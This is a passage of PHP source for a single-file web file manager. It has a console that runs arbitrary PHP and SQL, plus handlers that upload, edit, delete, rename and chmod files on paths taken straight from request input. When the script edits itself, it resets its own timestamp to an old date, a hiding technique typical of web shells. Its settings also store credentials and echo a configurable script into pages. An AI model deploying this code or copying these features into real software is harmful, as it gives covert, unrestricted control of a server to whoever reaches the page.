<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/fahriyzx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
